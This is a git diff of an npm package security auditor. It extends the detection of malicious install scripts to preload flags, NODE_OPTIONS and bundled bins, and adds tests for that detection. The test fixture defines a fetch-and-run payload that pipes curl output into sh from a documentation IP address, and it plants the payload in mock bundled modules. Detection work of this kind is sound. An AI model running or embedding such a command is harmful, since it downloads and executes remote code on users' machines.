diff --git a/docs/adr/0056-security-audit-hardening.md b/docs/adr/0056-security-audit-hardening.md index 99a7a5e..4a69566 100644 --- a/docs/adr/0056-security-audit-hardening.md +++ b/docs/adr/0056-security-audit-hardening.md @@ -280,14 +280,13 @@ and `transferRequestBytes` take `currentChallengeId`. critical finding, and re-import is refused once native history exists. The operator's remedy is a policy exception for that name (or relaxing the repository constraint) until a new release is published with provenance. -- Detection gaps left for follow-up (`npm run ` was closed in #85, by deliberate over-following: +- Detection gaps (`npm run ` was closed in #85, by deliberate over-following: after `npm`, `pnpm`, `yarn` or `bun`, every word that names a defined script is followed with its `pre`/`post` scripts, each script once from a worklist, and its body gets the hook's inline-danger check; #86 closed `.`/`source` as interpreters, pipes into an interpreter, pathed wrappers, - `tsx`/`ts-node`/`.ts` operands and `node `; `AUDIT_REVISION` is 4): bare - `-r`/`NODE_OPTIONS` specifiers and extension-less preload paths are not - resolved, command words are not looked up in bundled `node_modules/.bin`, - and the overflow fallback stays regex-based. Other rules still scan those + `tsx`/`ts-node`/`.ts` operands and `node `; #87 closed bare `-r`/`NODE_OPTIONS` specifiers, + extension-less preload paths and bundled `node_modules/.bin` / `bin` commands, all resolved against the + tarball only; `AUDIT_REVISION` is 5). The overflow fallback stays regex-based. Other rules still scan those files; only the lifecycle-script escalation is lost. ## Not changed diff --git a/packages/core/src/audit.ts b/packages/core/src/audit.ts index 729b093..4f8b821 100644 --- a/packages/core/src/audit.ts +++ b/packages/core/src/audit.ts @@ -26,7 +26,7 @@ import type { VulnAdvisory } from "./vuln-corpus.js"; export const ENGINE_VERSION = "0.1.0-alpha.2"; /** Bump whenever rule or extraction semantics change: cached and stored audits from another revision are recomputed. */ -export const AUDIT_REVISION = 4; +export const AUDIT_REVISION = 5; /** Run the heuristic rule pipeline over an already-extracted package. */ export function runRules(input: AuditInput): Finding[] { diff --git a/packages/core/src/rules/install-scripts.ts b/packages/core/src/rules/install-scripts.ts index 87f69c7..b1b6ce5 100644 --- a/packages/core/src/rules/install-scripts.ts +++ b/packages/core/src/rules/install-scripts.ts @@ -1,4 +1,5 @@ import type { AuditInput, Finding, PackageFile, Rule } from "../types.js"; +import { posix } from "node:path"; import { mkFinding, scanLines, truncate } from "./util.js"; const LIFECYCLE = ["preinstall", "install", "postinstall"] as const; @@ -151,7 +152,7 @@ function substitutionBodies(cmd: string): string[] { } return bodies; } -const WRAPPERS = new Set(["env", "exec", "nohup", "time", "command", "npx", "sudo"]); +const WRAPPERS = new Set(["env", "exec", "nohup", "time", "command", "npx", "sudo", "xargs"]); // Inline-code flags differ per interpreter (`sh -e` is errexit, not inline code). const SHELL_INLINE = /^-[a-z]*c[a-z]*$/i; // `-c`, `-ec`, `-lc` const NODE_INLINE = /^(?:-[ep]|-pe|--eval(?:=.*)?|--print(?:=.*)?)$/; @@ -230,7 +231,103 @@ function makeResolver(files: PackageFile[], scripts: Record): (c } return hit ?? undefined; }; - let spill: PackageFile[] = []; // extra candidates a resolution found besides the one it returned + let spill = new Set(); // extra candidates a resolution found besides the one it returned + const spillAll = (hits: (PackageFile | undefined)[]): PackageFile | undefined => { + const [first, ...rest] = new Set(hits.filter((f): f is PackageFile => !!f)); + for (const f of rest) spill.add(f); + return first; + }; + let merged = new Set(); // packages and bin names already merged into this hook's result + const once = (key: string): boolean => !merged.has(key) && !!merged.add(key); + + // Bundled packages resolve inside the tarball only (never the host or network), once per package directory. + // One pass groups the retained files by package directory. + let pkgIndex: Map | undefined; + const filesIn = (pkgDir: string): PackageFile[] => { + if (!pkgIndex) { + pkgIndex = new Map(); + for (const f of files) { + const d = /^(package\/node_modules\/(?:@[^/]+\/)?[^/]+)\//.exec(f.path)?.[1]; + if (d) (pkgIndex.get(d) ?? pkgIndex.set(d, []).get(d)!).push(f); + } + } + return pkgIndex.get(pkgDir) ?? []; + }; + // Over-follow: the package main / index.js and every string target of its `exports`. Fail closed: when the + // package cannot be enumerated cheaply (over-long name, `exports` over the node bound), every retained file in + // it counts as executed (which includes its entry, its declared bin targets and any `exports` targets). + const candidates = new Map(); + const candidatesOf = (pkgDir: string): PackageFile[] => { + let c = candidates.get(pkgDir); + if (!c) { + let closed = pkgDir.slice("package/node_modules/".length).split("/").some((n) => n.length > 214); // npm names are at most 214 chars + const targets: string[] = []; + if (!closed) { + let exp: unknown; + try { exp = JSON.parse(exact(`${pkgDir}/package.json`)?.content ?? "null")?.exports; } catch { /* no exports */ } + const stack: unknown[] = [exp]; + for (let seen = 0; stack.length; seen++) { + if (seen >= 1000) { closed = true; break; } // node bound + const v = stack.pop(); + if (typeof v === "string") { const n = normalizeRel(v); if (n) targets.push(n); } + else if (v && typeof v === "object") for (const x of Object.values(v)) stack.push(x); + } + } + c = closed ? filesIn(pkgDir) : [entry(pkgDir), ...targets.map((t) => exact(`${pkgDir}/${t}`))].filter((f): f is PackageFile => !!f); + candidates.set(pkgDir, c); + } + return c; + }; + // The spec as a file (`.js`/`.mjs`/`.cjs`), its own main / index.js, and its package's candidates (once per hook). + const resolveModule = (spec: string): (PackageFile | undefined)[] => { + const m = `package/node_modules/${spec}`; + const pkg = `package/node_modules/${spec.split("/").slice(0, spec.startsWith("@") ? 2 : 1).join("/")}`; + return [exact(m), exact(`${m}.js`), exact(`${m}.mjs`), exact(`${m}.cjs`), entry(m), ...(once(`pkg:${pkg}`) ? candidatesOf(pkg) : [])]; + }; + // Every file a bundled package's `bin` (a string or an object) points at, per command name, plus `node_modules/.bin/`. + // Built once on first use, in any tar order; targets are npm-normalized exact paths. A package that fails closed + // contributes all of its files, merged once per hook like a module's package fallback. + let bins: Map> | undefined; + const bundledBins = (name: string): (PackageFile | undefined)[] => { + if (!bins) { + bins = new Map(); + for (const f of files) { + const pkg = /^package\/node_modules\/((?:@[^/]+\/)?[^/]+)\/package\.json$/.exec(f.path)?.[1]; + if (!pkg) continue; + let bin: unknown; + try { bin = JSON.parse(f.content)?.bin; } catch { continue; } + const map: Record = typeof bin === "string" ? { [pkg]: bin } : bin && typeof bin === "object" ? (bin as Record) : {}; + for (const [key, rel] of Object.entries(map)) { + const n = posix.join("/", posix.basename(key.replace(/[\\:]/g, "/"))).slice(1); // npm: `\` and `:` to `/`, basename, then normalize + const r = typeof rel === "string" ? normalizeRel(rel) : undefined; + if (!n || !r) continue; + const dir = `package/node_modules/${pkg}`; + const hit = pkg.split("/").some((c) => c.length > 214) ? dir : exact(`${dir}/${r}`); + if (hit) (bins.get(n) ?? bins.set(n, new Set()).get(n)!).add(hit); + } + } + } + return [...(bins.get(name) ?? [])].flatMap((h) => (typeof h !== "string" ? [h] : once(`pkg:${h}`) ? candidatesOf(h) : [])).concat(exact(`package/node_modules/.bin/${name}`) ?? []); + }; + // The file a preload flag value (`-r `) loads: a local path, else a bundled module. The `.js` retry applies + // even when the basename has a dot (`./hook.prod`), also after a `cd` (suffix lookup). + const preload = (value: string): PackageFile | undefined => { + const v = trimPunct(value); + if (!v) return undefined; + if (!LOCAL_PATH.test(v)) return isNodeBuiltin(v) ? undefined : spillAll(resolveModule(v)); + const ref = v.replace(/^\.\//, ""); + return spillAll([resolveWord(v, "script"), ...(v.startsWith("/") ? [] : [exact(`package/${ref}.js`), suffix(`${ref}.js`)])]); + }; + /** Tokens of a `VAR=value` assignment (`NODE_OPTIONS`): recognized preload flags (`-r x`, `--require=x`) and relative code files. */ + const scanOptionTokens = (tokens: string[], out: Set): void => { + for (let k = 0; k < tokens.length; k++) { + const t = trimPunct(tokens[k]!); + const m = CODE_VALUE_FLAG.exec(t); + const hit = m ? preload(m[1] ?? tokens[++k] ?? "") + : spillAll(t.split("=").map((piece) => (CODE_WORD.test(piece) && LOCAL_PATH.test(piece) ? resolveWord(piece, "script") : undefined))); + if (hit) out.add(hit); + } + }; const resolveRef = (raw: string, mode: Mode): PackageFile | undefined => { const ref = raw.replace(/^\.\//, "").replace(/\/$/, "") || (raw === "./" ? "." : ""); if (!ref) return undefined; @@ -247,7 +344,7 @@ function makeResolver(files: PackageFile[], scripts: Record): (c if (!dotted) hit ??= exact(`package/${ref}.ts`); if (!hit) return nested(); const n = nested(); // over-follow: a root candidate must not hide a nested file the suffix lookup finds - if (n && n !== hit) spill.push(n); + if (n && n !== hit) spill.add(n); return hit; }; const resolveWord = (word: string, mode: Mode): PackageFile | undefined => { @@ -263,11 +360,13 @@ function makeResolver(files: PackageFile[], scripts: Record): (c // A command word is judged by its basename (`/usr/bin/env` is `env`). A relative path that names a package file // (`./bin/env`) is that file too: it is scanned (`localCommand`) and still plays the wrapper/interpreter role. // Path-qualified: exact, then suffix (after a `cd`). Bare: only a wrapper or interpreter name, exact (`tsx` may be `package/tsx`). - const localCommand = (w: string): PackageFile | undefined => { + const localCommand = (w: string, direct: boolean): PackageFile | undefined => { if (/^(?:[/-]|[A-Za-z_]\w*=)/.test(w)) return undefined; // not a flag, absolute path or `VAR=value` const t = trimPunct(w); if (w.includes("/")) return resolveWord(t, "path"); - return WRAPPERS.has(t) || Object.hasOwn(INLINE_FLAG, t) ? exact(`package/${t}`) : undefined; + const own = WRAPPERS.has(t) || Object.hasOwn(INLINE_FLAG, t) ? exact(`package/${t}`) : undefined; + // A shell builtin in direct command position never runs a bundled bin; behind `env`/`sudo`/... it does. + return spillAll([own, ...(direct && SHELL_BUILTINS.has(t) || !once(`bin:${t}`) ? [] : bundledBins(t))]); }; const isPrefix = (words: string[], i: number) => /^[A-Za-z_]\w*=/.test(words[i]!) || WRAPPERS.has(base(trimPunct(words[i]!))) || (i > 0 && WRAPPERS.has(base(trimPunct(words[i - 1]!))) && words[i]!.startsWith("-")); @@ -335,22 +434,42 @@ function makeResolver(files: PackageFile[], scripts: Record): (c return list[lo]; }; let i = 0; + let walkBudget = 2 * rawWords.length + 8; // total words the quote walks below may read in this command + let viaWrapper = false; // after `env`/`sudo`/... the next word is an external command, never a builtin for (; i < words.length && isPrefix(words, i); i++) { - const local = localCommand(words[i]!); + const local = localCommand(words[i]!, !viaWrapper); if (local) out.add(local); - // `NODE_OPTIONS=--require=./hook.js node -v`: a code file inside an assignment value runs too. + if (EXTERNAL_WRAPPERS.has(base(trimPunct(words[i]!)))) viaWrapper = true; + // `NODE_OPTIONS=--require=./hook node -v`: preload flags and code files inside an assignment value run too. const eq = words[i]!.indexOf("="); if (eq < 0) continue; - for (const piece of words[i]!.slice(eq + 1).split(/[\s=]+/)) { - const hit = CODE_WORD.test(piece) && /^(?:\.{1,2}\/|\/)/.test(piece) ? resolveWord(piece, "script") : undefined; - if (hit) out.add(hit); + let val = words[i]!.slice(eq + 1); + // `NODE_OPTIONS='-r ./hook'`: a quote left open by the word spans to the next word that ends with it. The + // spanned words are also scanned as a command line of their own, then prefix parsing resumes after the span. + let q = quoteStep("", val); + let e: number | undefined; + if (q && walkBudget > 0) { // the span ends at the first word after which the quote state is balanced + let k = i + 1; + for (; k < rawWords.length && q; k++) q = quoteStep(q, rawWords[k]!); + walkBudget -= k - i; // an unbalanced walk (to the end) consumes only its own word, and the budget keeps this linear + if (!q) e = k - 1; + } + if (e !== undefined) { + const spanned = rawWords.slice(i + 1, e + 1).join(" "); + val += ` ${spanned}`; + if (depth < MAX_INLINE_DEPTH) scan(spanned, out, depth + 1); + i = e; } + // Node's tokenizer may differ from ours: scan the quote-aware and the plain split, so a difference only adds coverage. + scanOptionTokens(splitUnquoted(unquote(val)), out); + scanOptionTokens(unquote(val).split(/\s+/).filter(Boolean), out); + scanOptionTokens(removeQuotes(val).split(/\s+/).filter(Boolean), out); // `--require=./a'b'.js` is `./ab.js` to the shell } const command = words[i]; if (!command) continue; const name = trimPunct(command); const interpreter = base(name); - const local = localCommand(command); + const local = localCommand(command, !viaWrapper); if (local) out.add(local); if (PACKAGE_MANAGERS.has(interpreter)) followScriptWords(words, i + 1, out); const inline = Object.hasOwn(INLINE_FLAG, interpreter) ? INLINE_FLAG[interpreter] : undefined; @@ -407,8 +526,8 @@ function makeResolver(files: PackageFile[], scripts: Record): (c const eq = w.indexOf("="); const generic = !m && eq > 0 && CODE_WORD.test(w.slice(eq + 1)) ? w.slice(eq + 1) : undefined; const value = m ? (m[1] ?? words[++j]) : generic; - // A bare specifier (`dotenv/config`) is a node_modules module, not a package script. - const hit = value && /^(?:\.{1,2}\/|\/)/.test(value) ? resolveWord(value, "script") : undefined; + // A bare specifier (`dotenv/config`) is a bundled node_modules module, resolved inside the tarball only. + const hit = value && (m || LOCAL_PATH.test(value)) ? preload(value) : undefined; if (hit) out.add(hit); continue; } @@ -428,7 +547,8 @@ function makeResolver(files: PackageFile[], scripts: Record): (c const out = new Set(); visited = new Set(); queue = []; - spill = []; + spill = new Set(); + merged = new Set(); scan(cmd, out, 0); for (let q = 0; q < queue.length; q++) scan(queue[q]![1], out, 0); // the queue grows while it is read for (const f of spill) out.add(f); @@ -436,7 +556,69 @@ function makeResolver(files: PackageFile[], scripts: Record): (c }; } +// Node loads its own core module for these names (or any `node:` specifier), never a bundled package of the same name. +// A fixed list keeps the verdict independent of the Node version running the audit. +const NODE_BUILTINS = new Set(["assert", "async_hooks", "buffer", "child_process", "cluster", "console", "constants", "crypto", + "dgram", "diagnostics_channel", "dns", "domain", "events", "fs", "http", "http2", "https", "inspector", "module", "net", "os", + "path", "perf_hooks", "process", "punycode", "querystring", "readline", "repl", "stream", "string_decoder", "sys", "timers", + "tls", "trace_events", "tty", "url", "util", "v8", "vm", "wasi", "worker_threads", "zlib"]); +// Exact names only: `buffer/evil` is NOT a core module, Node resolves it from node_modules. +const NODE_BUILTIN_SUBPATHS = new Set(["assert/strict", "dns/promises", "fs/promises", "inspector/promises", "path/posix", + "path/win32", "readline/promises", "stream/consumers", "stream/promises", "stream/web", "timers/promises", "util/types"]); +const isNodeBuiltin = (spec: string) => spec.startsWith("node:") || NODE_BUILTINS.has(spec) || NODE_BUILTIN_SUBPATHS.has(spec); + const MAX_INLINE_DEPTH = 3; +const LOCAL_PATH = /^(?:\.{1,2}\/|\/)/; +// Wrappers that exec an external program: `env echo` runs a bundled `echo` bin, a bare `echo` is the builtin. +const EXTERNAL_WRAPPERS = new Set(["env", "exec", "nohup", "sudo", "npx", "xargs"]); +// Builtins of every shell npm may use (sh, bash, dash, zsh, cmd): in direct command position they never run a bundled bin. +const SHELL_BUILTINS = new Set([":", "[", "cd", "echo", "exit", "export", "false", "printf", "pwd", "read", "set", "shift", "test", "true", "umask", "unset", "wait"]); + +/** The quote state (`'`, `"` or "") after reading word `w` from state `q`; a backslash outside single quotes escapes. */ +function quoteStep(q: string, w: string): string { + for (let i = 0; i < w.length; i++) { + const c = w[i]!; + if (c === "\\" && q !== "'") i++; + else if (q) { if (c === q) q = ""; } + else if (c === "'" || c === '"') q = c; + } + return q; +} + +/** A word after shell quote removal (`a'b'.js` -> `ab.js`). */ +function removeQuotes(w: string): string { + let out = ""; + let q = ""; + for (let i = 0; i < w.length; i++) { + const c = w[i]!; + if (c === "\\" && q !== "'" && i + 1 < w.length) out += w[++i]; + else if (q) { if (c === q) q = ""; else out += c; } + else if (c === "'" || c === '"') q = c; + else out += c; + } + return out; +} + +/** A declared relative path as npm normalizes it: `\` to `/`, then `path.posix.join("/", v).slice(1)` (clamps `..` at the root). */ +function normalizeRel(rel: string): string | undefined { + return posix.join("/", rel.replace(/\\/g, "/")).slice(1) || undefined; +} + +/** Split on whitespace outside quotes, keeping quoted arguments whole. */ +function splitUnquoted(s: string): string[] { + const out: string[] = []; + let start = 0; + let q = ""; + for (let i = 0; i <= s.length; i++) { + const c = s[i]; + if (c === undefined || (!q && /\s/.test(c))) { if (i > start) out.push(s.slice(start, i)); start = i + 1; } + else if (c === "\\" && q !== "'") i++; + else if (q) { if (c === q) q = ""; } + else if (c === "'" || c === '"') q = c; + } + return out; +} + const base = (w: string) => w.slice(w.lastIndexOf("/") + 1); const PACKAGE_MANAGERS = new Set(["npm", "pnpm", "yarn", "bun"]); // Scripts a built-in package-manager command runs besides the script of its own name (npm lifecycle). diff --git a/packages/core/test/security-bundled-modules.test.ts b/packages/core/test/security-bundled-modules.test.ts new file mode 100644 index 0000000..c7b2ba9 --- /dev/null +++ b/packages/core/test/security-bundled-modules.test.ts @@ -0,0 +1,238 @@ +import assert from "node:assert/strict"; +import { describe, test } from "node:test"; +import { runRules } from "../src/index.js"; +import type { AuditInput, PackageFile } from "../src/types.js"; + +// install-scripts resolves bare module names, extension-less preloads and bundled bins against the tarball only. + +const CURL_SH = "curl -s http://198.51.100.1/x | sh"; // RFC 5737 documentation address +const PAYLOAD = `${CURL_SH}\n`; +const BENIGN = "console.log(1)\n"; + +function file(path: string, content: string): PackageFile { + return { path, content, size: Buffer.byteLength(content), changed: false }; +} +function inputFor(files: Record): AuditInput { + const list = Object.entries(files).map(([p, c]) => file(p, c)); + return { + meta: { + name: "probe", version: "1.0.0", author: null, maintainers: [], license: null, + hasInstallScripts: false, signature: "unknown", provenance: "unknown", integrity: null, + unpackedSize: 0, fileCount: list.length, + }, + files: list, + mode: "full", + }; +} +const sev = (hook: string, files: Record) => + runRules(inputFor({ ...files, "package/package.json": JSON.stringify({ scripts: { postinstall: hook } }) })) + .filter((x) => x.ruleId === "install-scripts").map((x) => x.severity); + +/** `hook` is critical when `path` holds the payload and low when it holds a benign file. */ +function row(label: string, hook: string, path: string, extra: Record = {}) { + test(`${label}: \`${hook}\``, () => { + assert.deepEqual(sev(hook, { ...extra, [path]: PAYLOAD }), ["critical"]); + assert.deepEqual(sev(hook, { ...extra, [path]: BENIGN }), ["low"]); + }); +} +const setup = { "package/setup.js": BENIGN }; + +describe("preloads from bundled modules", () => { + row("bare specifier, index.js", "node -r evil setup.js", "package/node_modules/evil/index.js", setup); + row("bare specifier, file", "node -r evil setup.js", "package/node_modules/evil", setup); + row("bare specifier, .js", "node --require evil setup.js", "package/node_modules/evil.js", setup); + row("bare specifier, package main", "node --import evil setup.js", "package/node_modules/evil/lib/run.js", { + ...setup, "package/node_modules/evil/package.json": '{"main":"lib/run"}', + }); + row("scoped specifier with a subpath", "node --loader @a/b/x setup.js", "package/node_modules/@a/b/x.js", setup); + row("extension-less relative value", "node --require=./hook setup.js", "package/hook.js", setup); + + test("a bare specifier that is not shipped resolves nothing", () => { + assert.deepEqual(sev("node -r evil setup.js", { ...setup, "package/lib/evil/index.js": PAYLOAD }), ["low"]); + }); + test("a bundled dotenv/config with benign content stays clean", () => { + assert.deepEqual(sev("node -r dotenv/config setup.js", { ...setup, "package/node_modules/dotenv/config.js": BENIGN }), ["low"]); + }); +}); + +describe("NODE_OPTIONS and VAR=value prefixes", () => { + row("extension-less relative value", "NODE_OPTIONS=--require=./hook node -v", "package/hook.js"); + row("flag and value as separate words in quotes", "NODE_OPTIONS='-r ./hook.js' node -v", "package/hook.js"); + row("double-quoted flag and value", 'NODE_OPTIONS="--require ./hook" node -v', "package/hook.js"); + row("bare specifier", "NODE_OPTIONS=--require=evil node -v", "package/node_modules/evil/index.js"); + row("bare specifier, quoted separate words", "NODE_OPTIONS='-r evil' node -v", "package/node_modules/evil/index.js"); + row("a wrapper before the command", "NODE_OPTIONS='-r evil' env node -v", "package/node_modules/evil/index.js"); + + test("a quoted value that never closes does not swallow the command", () => { + assert.deepEqual(sev("NODE_OPTIONS='-r ./hook node setup.js", { ...setup, "package/hook.js": BENIGN }), ["low"]); + assert.deepEqual(sev("NODE_OPTIONS='-r ./hook node setup.js", { "package/setup.js": PAYLOAD }), ["critical"]); + }); +}); + +describe("round 2 hardening", () => { + test("60,000 unclosed quoted assignments finish quickly", () => { + const t0 = performance.now(); + assert.deepEqual(sev(`${"A='x ".repeat(60000)}node setup.js`, { "package/setup.js": PAYLOAD }), ["critical"]); + const ms = performance.now() - t0; + assert.ok(ms < 1000, `took ${ms} ms`); + }); + test("words a quoted assignment spans are still processed as commands", () => { + assert.deepEqual(sev("A='x node setup.js y'", { "package/setup.js": PAYLOAD }), ["critical"]); + assert.deepEqual(sev("A='x node setup.js y'", { "package/setup.js": BENIGN }), ["low"]); + }); + test("every package declaring a bin is scanned, whatever the tar order", () => { + const a = { "package/node_modules/a/package.json": '{"bin":{"evil":"x.js"}}', "package/node_modules/a/x.js": BENIGN }; + const b = { "package/node_modules/b/package.json": '{"bin":{"evil":"y.js"}}', "package/node_modules/b/y.js": PAYLOAD }; + assert.deepEqual(sev("evil", { ...a, ...b }), ["critical"]); + assert.deepEqual(sev("evil", { ...b, ...a }), ["critical"]); + assert.deepEqual(sev("evil", { ...a, "package/node_modules/.bin/evil": BENIGN, ...b }), ["critical"]); + // the exact .bin file alone is dangerous + assert.deepEqual(sev("evil", { ...a, "package/node_modules/b/package.json": b["package/node_modules/b/package.json"], "package/node_modules/b/y.js": BENIGN, "package/node_modules/.bin/evil": PAYLOAD }), ["critical"]); + }); + test("a preload flag is parsed only as a flag, with its value unquoted", () => { + const mod = { "package/node_modules/logger/index.js": PAYLOAD }; + assert.deepEqual(sev("node --require='logger' setup.js", { ...setup, ...mod }), ["critical"]); + assert.deepEqual(sev("NODE_OPTIONS=--require='logger' node -v", mod), ["critical"]); + assert.deepEqual(sev("NODE_OPTIONS=--title=--require=logger node -v", mod), ["low"]); + }); + test("bin targets are exact normalized paths: no .js appended, no `..`", () => { + const pkg = (bin: string) => ({ "package/node_modules/evil/package.json": JSON.stringify({ bin }) }); + assert.deepEqual(sev("evil", { ...pkg("cli"), "package/node_modules/evil/cli.js": PAYLOAD }), ["low"]); + // `..` is clamped at the package root, as npm does + assert.deepEqual(sev("evil", { ...pkg("../cli.js"), "package/node_modules/evil/cli.js": PAYLOAD }), ["critical"]); + assert.deepEqual(sev("evil", { ...pkg("../outside.js"), "package/node_modules/outside.js": PAYLOAD }), ["low"]); + assert.deepEqual(sev("evil", { ...pkg("bin\\cli.js"), "package/node_modules/evil/bin/cli.js": PAYLOAD }), ["critical"]); + assert.deepEqual(sev("evil", { "package/node_modules/evil/package.json": '{"bin":{"sub/evil":"cli.js"}}', "package/node_modules/evil/cli.js": PAYLOAD }), ["critical"]); + assert.deepEqual(sev("evil", { ...pkg("./bin/../cli.js"), "package/node_modules/evil/cli.js": PAYLOAD }), ["critical"]); + }); + test("shell builtins skip the bin lookup unless a wrapper dispatches them", () => { + const bins = { "package/node_modules/.bin/echo": PAYLOAD }; + assert.deepEqual(sev("echo ready", bins), ["low"]); + assert.deepEqual(sev("env echo ready", bins), ["critical"]); + assert.deepEqual(sev("sudo echo ready", bins), ["critical"]); + }); + test("a package that cannot be enumerated cheaply fails closed: every code file in it counts", () => { + const long = "a".repeat(215); + const dir = `package/node_modules/${long}`; + assert.deepEqual(sev("evil", { [`${dir}/package.json`]: '{"bin":{"evil":"cli.js"}}', [`${dir}/cli.js`]: BENIGN, [`${dir}/lib/other.js`]: PAYLOAD }), ["critical"]); + assert.deepEqual(sev(`node -r ${long} setup.js`, { ...setup, [`${dir}/lib/other.js`]: PAYLOAD }), ["critical"]); + assert.deepEqual(sev("evil", { [`${dir}/package.json`]: '{"bin":{"evil":"cli.js"}}', [`${dir}/lib/other.js`]: BENIGN }), ["low"]); + // an `exports` map over the node bound + const exports: Record = {}; + for (let i = 0; i < 1100; i++) exports[`./f${i}`] = `./f${i}.js`; + const big = { "package/node_modules/evil/package.json": JSON.stringify({ exports }), "package/node_modules/evil/hidden/run.js": PAYLOAD }; + assert.deepEqual(sev("node -r evil setup.js", { ...setup, ...big }), ["critical"]); + assert.deepEqual(sev("node -r evil setup.js", { ...setup, ...big, "package/node_modules/evil/hidden/run.js": BENIGN }), ["low"]); + }); + test("a quoted assignment resumes prefix parsing after its closing quote", () => { + assert.deepEqual(sev("NODE_OPTIONS='-r ./hook' node setup", { "package/hook.js": BENIGN, "package/setup": PAYLOAD }), ["critical"]); + assert.deepEqual(sev("NODE_OPTIONS='-r ./hook' node setup", { "package/hook.js": BENIGN, "package/setup": BENIGN }), ["low"]); + assert.deepEqual(sev("A='x y' NODE_OPTIONS=--require=./h.js node -v", { "package/h.js": PAYLOAD }), ["critical"]); + assert.deepEqual(sev("A='x y' NODE_OPTIONS=--require=./h.js node -v", { "package/h.js": BENIGN }), ["low"]); + }); + test("option tokens are the union of a quote-aware and a plain whitespace split", () => { + const mod = { "package/node_modules/evil/index.js": PAYLOAD }; + // Node's own tokenizer may differ from ours, so text that only a plain split sees as a flag is followed too + assert.deepEqual(sev('NODE_OPTIONS=--title="a --require evil" node -v', mod), ["critical"]); + assert.deepEqual(sev("NODE_OPTIONS='--title=\"a --require evil\"' node -v", mod), ["critical"]); + assert.deepEqual(sev("NODE_OPTIONS=--title=x node -v", mod), ["low"]); + }); + test("a bin key is normalized as npm does: separators and colons, then the basename", () => { + const pkg = (key: string) => ({ "package/node_modules/evil/package.json": JSON.stringify({ bin: { [key]: "cli.js" } }), "package/node_modules/evil/cli.js": PAYLOAD }); + assert.deepEqual(sev("evil", pkg("foo:evil")), ["critical"]); + assert.deepEqual(sev("evil", pkg("foo\\evil")), ["critical"]); + assert.deepEqual(sev("foo:evil", pkg("foo:evil")), ["low"]); + }); + test("a fail-closed package counts every retained file, not only code", () => { + const dir = `package/node_modules/${"a".repeat(215)}`; + assert.deepEqual(sev("evil", { [`${dir}/package.json`]: '{"bin":{"evil":"cli.js"}}', [`${dir}/notes.txt`]: PAYLOAD }), ["critical"]); + const exports: Record = {}; + for (let i = 0; i < 1100; i++) exports[`./f${i}`] = `./f${i}.js`; + const big = { "package/node_modules/evil/package.json": JSON.stringify({ exports }), "package/node_modules/evil/data/blob": PAYLOAD }; + assert.deepEqual(sev("node -r evil setup.js", { ...setup, ...big }), ["critical"]); + }); + test("many bin aliases of a fail-closed package merge its file list once", () => { + const dir = `package/node_modules/${"a".repeat(215)}`; + const bin: Record = {}; + for (let i = 0; i < 20000; i++) bin[`b${i}`] = "cli.js"; + const files: Record = { [`${dir}/package.json`]: JSON.stringify({ bin }) }; + for (let i = 0; i < 1500; i++) files[`${dir}/lib/f${i}.js`] = BENIGN; + const t0 = performance.now(); + assert.deepEqual(sev(Array.from({ length: 20000 }, (_, i) => `b${i}`).join(" && "), files), ["low"]); + const ms = performance.now() - t0; + assert.ok(ms < 1000, `took ${ms} ms`); + }); + test("a span ends where the quote state is balanced, across words that reopen a quote", () => { + assert.deepEqual(sev("A='x y'z'w q' node setup", { "package/setup": PAYLOAD }), ["critical"]); + assert.deepEqual(sev("A='x y'z'w q' node setup", { "package/setup": BENIGN }), ["low"]); + }); + test("NODE_OPTIONS is also scanned after shell quote removal", () => { + assert.deepEqual(sev("NODE_OPTIONS=--require=./a'b'.js node -v", { "package/ab.js": PAYLOAD }), ["critical"]); + assert.deepEqual(sev("NODE_OPTIONS=--require=./a'b'.js node -v", { "package/ab.js": BENIGN }), ["low"]); + }); + test("a closing quote followed by an unquoted suffix still ends the span", () => { + assert.deepEqual(sev("A='x y'z NODE_OPTIONS=--require=./h node -v", { "package/h.js": PAYLOAD }), ["critical"]); + assert.deepEqual(sev("A='x y'z NODE_OPTIONS=--require=./h node -v", { "package/h.js": BENIGN }), ["low"]); + }); + test("xargs hands its command operand to the bundled-bin lookup", () => { + assert.deepEqual(sev("xargs evil-bin", { "package/node_modules/.bin/evil-bin": PAYLOAD }), ["critical"]); + assert.deepEqual(sev("xargs evil-bin", { "package/node_modules/.bin/evil-bin": BENIGN }), ["low"]); + }); + test("a dotted relative preload gets .js after a cd too", () => { + assert.deepEqual(sev("cd scripts && node -r ./hook.prod setup.js", { ...setup, "package/scripts/hook.prod.js": PAYLOAD }), ["critical"]); + }); + test("a package referenced many times is merged once: stays fast", () => { + const exports: Record = {}; + for (let i = 0; i < 900; i++) exports[`./f${i}`] = `./f${i}.js`; + const files = { ...setup, "package/node_modules/evil/package.json": JSON.stringify({ exports }) }; + const t0 = performance.now(); + assert.deepEqual(sev(`node ${"-r evil ".repeat(20000)}setup.js`, files), ["low"]); + const ms = performance.now() - t0; + assert.ok(ms < 1000, `took ${ms} ms`); + }); + test("shell builtins outside the portable set still look up bundled bins", () => { + assert.deepEqual(sev("let x", { "package/node_modules/.bin/let": PAYLOAD }), ["critical"]); + assert.deepEqual(sev("pwd", { "package/node_modules/.bin/pwd": PAYLOAD }), ["low"]); + }); + row("a dotted relative preload gets .js", "node -r ./hook.prod setup.js", "package/hook.prod.js", setup); + row("a bundled module reachable only through exports", "node -r evil setup.js", "package/node_modules/evil/lib/cjs.js", { + ...setup, "package/node_modules/evil/package.json": '{"exports":{".":{"import":"./esm.mjs","require":"./lib/cjs.js"}}}', + }); + row("a bundled module as .mjs", "node --import evil setup.js", "package/node_modules/evil.mjs", setup); +}); + +describe("commands from bundled bins", () => { + row("node_modules/.bin", "evil-bin", "package/node_modules/.bin/evil-bin"); + row("bin as a string", "evil", "package/node_modules/evil/cli.js", { "package/node_modules/evil/package.json": '{"bin":"cli.js"}' }); + row("bin as an object", "evil-bin --flag", "package/node_modules/evil/bin/run", { + "package/node_modules/evil/package.json": '{"bin":{"evil-bin":"./bin/run"}}', + }); + row("scoped package bin string", "evil", "package/node_modules/@s/evil/cli.js", { "package/node_modules/@s/evil/package.json": '{"bin":"cli.js"}' }); + row("after a wrapper", "env evil-bin", "package/node_modules/.bin/evil-bin"); + + test("a command that no bundled package provides resolves nothing", () => { + assert.deepEqual(sev("evil-bin", { "package/node_modules/evil/package.json": '{"bin":{"other":"cli.js"}}', "package/node_modules/evil/cli.js": PAYLOAD }), ["low"]); + }); + test("a malformed bundled package.json is ignored", () => { + assert.deepEqual(sev("evil", { "package/node_modules/evil/package.json": "{not json", "package/node_modules/evil/cli.js": PAYLOAD }), ["low"]); + }); +}); + +describe("Node built-ins are not bundled modules", () => { + test("`-r buffer` and `NODE_OPTIONS=--require=util` load core modules, not bundled copies", () => { + const dangerous = `${CURL_SH}\n`; + for (const 